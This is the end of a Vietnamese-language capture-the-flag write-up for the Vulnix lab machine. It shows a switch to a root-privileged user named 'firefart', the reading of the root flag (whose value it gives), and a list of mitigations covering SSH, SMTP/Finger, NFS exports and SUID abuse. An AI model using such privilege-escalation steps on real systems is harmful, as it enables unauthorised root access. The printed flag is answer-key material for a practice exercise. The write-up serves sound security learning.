vulnix@vulnix:~$ su firefart
Password:
firefart@vulnix:/home/user# id
uid=0(firefart) gid=0(root) groups=0(root)

```

Hình 40: Chuyển sang user firefart và xác thực user có quyền root

```
firefart@vulnix:/home/user# ls /root
trophy.txt
firefart@vulnix:/home/user# cat /root/trophy.txt
cc614640424f5bd60ce5d5264899c3be
```

Hình 41: Đọc được /root và nhận được flag cuối cùng

FLAG: cc614640424f5bd60ce5d5264899c3be

Mitigation

Tăng cường bảo mật SSH, không dùng các mật khẩu yếu

Vô hiệu hoá các dịch vụ không cần thiết như SMTP và Finger

Cấu hình NFS an toàn. Không export NFS cho *

Ngăn SUID abuse trong thư mục người dùng

Nâng cấp hệ điều hành